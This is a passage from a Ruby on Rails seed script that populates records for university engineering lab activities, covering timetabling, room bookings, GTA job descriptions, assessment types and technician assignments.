$resit_low.id)\n ActivityGta.where(activity_id: a81.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a81.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a81.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a81.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a82 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR303\").first.id, code: \"230\").first_or_create!(name: \"Welded Components\",\n name_abrv: \"COMP\", archived: false, in_drive: true, user_id: 5)\n at82 = ActivityTimetable.where(activity_id: a82.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a82.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a82.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a82.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a82.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a82.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a83 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV2100\").first.id, code: \"231\").first_or_create!(name: \"Cantilever Truss - Modelling\",\n name_abrv: \"\", archived: false, in_drive: true, user_id: 4)\n at83 = ActivityTimetable.where(activity_id: a83.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 8, max_week_num: 9, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 480, takedown_time: 480, notes: \"Needs GUNT equipment\",\n capacity: 40, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at83.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a83.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a83.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a83.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a83.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a83.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a84 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV2100\").first.id, code: \"232\").first_or_create!(name: \"Continuous Beam - Modelling\",\n name_abrv: \"\", archived: false, in_drive: true, user_id: 3)\n at84 = ActivityTimetable.where(activity_id: a84.id).first_or_create!(duration: 90, kit_prep_time: nil, min_week_num: 9, max_week_num: 10, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 210, takedown_time: 210, notes: \"Needs GUNT equipment\",\n capacity: 40, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at84.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a84.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a84.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a84.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a84.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a84.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a85 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV4136\").first.id, code: \"233\").first_or_create!(name: \"Hole in Plate - Modelling\",\n name_abrv: \"\", archived: false, in_drive: true, user_id: 3)\n at85 = ActivityTimetable.where(activity_id: a85.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: 11, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"Needs Shimadzu\",\n capacity: 40, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at85.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a85.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a85.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a85.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a85.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a85.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a86 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV6136\").first.id, code: \"233\").first_or_create!(name: \"Hole in Plate - Modelling\",\n name_abrv: \"\", archived: false, in_drive: true, user_id: 4)\n at86 = ActivityTimetable.where(activity_id: a86.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: 11, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"Needs Shimadzu\",\n capacity: 40, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at86.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a86.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a86.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a86.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a86.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a86.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a87 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MAT1600\").first.id, code: \"234\").first_or_create!(name: \"Hole in Plate: Photoelasticity\",\n name_abrv: \"\", archived: false, in_drive: true, user_id: 3)\n at87 = ActivityTimetable.where(activity_id: a87.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 3, max_week_num: 4, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 480, takedown_time: 480, notes: \"Needs GUNT equipment\",\n capacity: 40, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at87.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a87.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a87.id).first_or_create!(criteria: \"It is essential for a GTA to have a strong understanding of Mechanics of materials. The ideal candidate should be familiar with stress concentration, principal stresses. Knowledge of photelasticity is desirable.\",\n job_desc:\"In this lab, students will use photoelasticity to qualitative inviestigate the stress distribution in a plate with a hole in it.\", jobshop_desc: \"\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a87.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a87.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a87.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a88 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC202\").first.id, code: \"234\").first_or_create!(name: \"Hole in Plate: Photoelasticity\",\n name_abrv: \"HOLEPLATE\", archived: false, in_drive: true, user_id: 5)\n at88 = ActivityTimetable.where(activity_id: a88.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 4, max_week_num: 8, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 480, takedown_time: 480, notes: \"Needs GUNT equipment\",\n capacity: 40, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at88.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a88.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a88.id).first_or_create!(criteria: \"It is essential for a GTA to have a strong understanding of Mechanics of materials. The ideal candidate should be familiar with stress concentration, principal stresses. Knowledge of photelasticity is desirable.\",\n job_desc:\"In this lab, students will use photoelasticity to qualitative inviestigate the stress distribution in a plate with a hole in it.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a88.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a88.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a88.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a90 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC202\").first.id, code: \"239\").first_or_create!(name: \"Hole in Plate: Mohr's Circles\",\n name_abrv: \"HOLEPLATE\", archived: false, in_drive: true, user_id: 4)\n at90 = ActivityTimetable.where(activity_id: a90.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 5, max_week_num: 8, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"Needs Shimadzu\",\n capacity: 40, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at90.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a90.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a90.id).first_or_create!(criteria: \"It is essential for a GTA to have a strong understanding of Mechanics of materials. The ideal candidate should be familiar with stress concentration, principal stresses and strains and Mohr Circles.\",\n job_desc:\"In this lab, students study the strain-distribution in a plate with a hole in it, using strain-gauges. The data is obtained using Shimadzu tensometers and Vishay strain gauge monitoring equipment. Once the data is obtained, the students analyse their data using Mohr's circle. A knowledge of Mohr's circle and two dimensional stress distributions is therefore required.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a90.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a90.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a90.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a91 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV3204\").first.id, code: \"236\").first_or_create!(name: \"Integrated Design Project\",\n name_abrv: \"IDP\", archived: false, in_drive: true, user_id: 3)\n at91 = ActivityTimetable.where(activity_id: a91.id).first_or_create!(duration: 480, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"Needs PUPS\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a91.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a91.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a91.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a91.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a91.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a92 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV3207\").first.id, code: \"236\").first_or_create!(name: \"Integrated Design Project\",\n name_abrv: \"IDP\", archived: false, in_drive: true, user_id: 3)\n at92 = ActivityTimetable.where(activity_id: a92.id).first_or_create!(duration: 2100, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"Needs PUPS\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a92.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a92.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a92.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a92.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a92.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a93 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR223\").first.id, code: \"301\").first_or_create!(name: \"Thick Walled Cylinders\",\n name_abrv: \"THICKWALL\", archived: false, in_drive: true, user_id: 3)\n at93 = ActivityTimetable.where(activity_id: a93.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 210, takedown_time: 210, notes: \"\",\n capacity: 40, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a93.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a93.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a93.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 2)\n ActivityTech.where(activity_id: a93.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a93.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a94 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC302\").first.id, code: \"301\").first_or_create!(name: \"Thick Walled Cylinder\",\n name_abrv: \"THICKWALL\", archived: true, in_drive: true, user_id: 4)\n at94 = ActivityTimetable.where(activity_id: a94.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 30, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a94.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a94.id).first_or_create!(criteria: \"Understanding of Mechanics of materials\",\n job_desc:\"In this lab, students monitor the strain through the wall of a thick cylinder, recording their data at a series of different pressures. They then derive formulae for the theoretical strains and compare their data to the theoretical calculations. A knowledge of mechanical of materials, and three-dimensional strains is required.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a94.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a94.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a94.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a95 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER284\").first.id, code: \"302\").first_or_create!(name: \"Bending\",\n name_abrv: \"BEND\", archived: false, in_drive: true, user_id: 5)\n at95 = ActivityTimetable.where(activity_id: a95.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: true, series_setup_time: 60, setup_time: 210, takedown_time: 210, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a95.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a95.id).first_or_create!(criteria: \"Understanding of Mechanics of materials\",\n job_desc:\"In this lab, students perform 3-point bending tests on a series of beams with different cross-sections. Shimadzu tensometers are used to perform the tests, and the results are compared to predictions from classical beam theory. A knowledge of mechanical performance of materials is therefore required.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a95.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 2)\n ActivityTech.where(activity_id: a95.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a95.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a96 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER284\").first.id, code: \"303\").first_or_create!(name: \"Buckling\",\n name_abrv: \"BUCKLING\", archived: false, in_drive: false, user_id: 1)\n at96 = ActivityTimetable.where(activity_id: a96.id).first_or_create!(duration: 120, kit_prep_time: 960, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: true, series_setup_time: 60, setup_time: 210, takedown_time: 210, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a96.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a96.id).first_or_create!(criteria: \"Understanding of Mechanics of materials\",\n job_desc:\"In this lab, students perform buckling tests on a series of struts of different lengths. Shimadzu tensometers are used to perform the tests, and the results are compared to predictions using Euler buckling and modified empirical formulae. A knowledge of mechanical performance of materials is therefore required.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a96.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 2)\n ActivityTech.where(activity_id: a96.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a96.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a97 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC202\").first.id, code: \"303\").first_or_create!(name: \"Buckling\",\n name_abrv: \"BUCKLING\", archived: false, in_drive: true, user_id: 5)\n at97 = ActivityTimetable.where(activity_id: a97.id).first_or_create!(duration: 120, kit_prep_time: 960, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 210, takedown_time: 210, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a97.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a97.id).first_or_create!(criteria: \"Understanding of Mechanics of materials\",\n job_desc:\"In this lab, students perform buckling tests on a series of struts of different lengths. Shimadzu tensometers are used to perform the tests, and the results are compared to predictions using Euler buckling and modified empirical formulae. A knowledge of mechanical performance of materials is therefore required.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a97.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 2)\n ActivityTech.where(activity_id: a97.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a97.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a98 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC302\").first.id, code: \"304\").first_or_create!(name: \"Crack propagation\",\n name_abrv: \"CRACKPROP\", archived: true, in_drive: true, user_id: 2)\n at98 = ActivityTimetable.where(activity_id: a98.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 30, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a98.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a98.id).first_or_create!(criteria: \"Understanding of Mechanics of materials\",\n job_desc:\"In this lab, students use direct-current potential-difference equipment to monitor the growth of a crack in a notched aluminium specimen. This data is then used to calculate the J-resistance of the material during fracture. A knowledge of fracture mechanics is therefore required.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a98.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a98.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a98.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a99 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC6430\").first.id, code: \"305\").first_or_create!(name: \"Mechanical Testing of Chicken Skin\",\n name_abrv: \"CHICKEN\", archived: false, in_drive: true, user_id: 3)\n at99 = ActivityTimetable.where(activity_id: a99.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 210, takedown_time: 210, notes: \"\",\n capacity: 40, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a99.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a99.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a99.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 1)\n ActivityTech.where(activity_id: a99.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a99.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a100 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER298\").first.id, code: \"306\").first_or_create!(name: \"Performance of Jet Engines\",\n name_abrv: \"JETLAB\", archived: false, in_drive: true, user_id: 2)\n at100 = ActivityTimetable.where(activity_id: a100.id).first_or_create!(duration: 45, kit_prep_time: nil, min_week_num: 1, max_week_num: 12, pref_room_id: $room_apl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 6, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a100.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a100.id).first_or_create!(criteria: \"A knowledge of jet engine operation would be desirable, although a background in mechanical or aerospace engineering would be suitable as well.\",\n job_desc:\"In this lab, students operate a small Jet-Cat engine and take thermodynamic measurements so that they can perform calculations of engine efficeincy. Students also operate an engine simulator in order to perform similar calculations in a range of different conditions.\", jobshop_desc: \"GTA in MEE, the Diamond: Flight/Propulsion Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a100.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 1)\n ActivityTech.where(activity_id: a100.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a100.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a101 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER325\").first.id, code: \"307\").first_or_create!(name: \"Performance of wings\",\n name_abrv: \"Wing\", archived: false, in_drive: true, user_id: 1)\n at101 = ActivityTimetable.where(activity_id: a101.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_apl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: 30, takedown_time: 30, notes: \"\",\n capacity: 15, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a101.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a101.id).first_or_create!(criteria: \"An understanding of lift and drag calculations and the theory of wing sections would be helpful, but full training will be given on the use of the flight simulators.\",\n job_desc:\"This laboratory class uses the Merlin flight simulators to model the performance of an aircraft 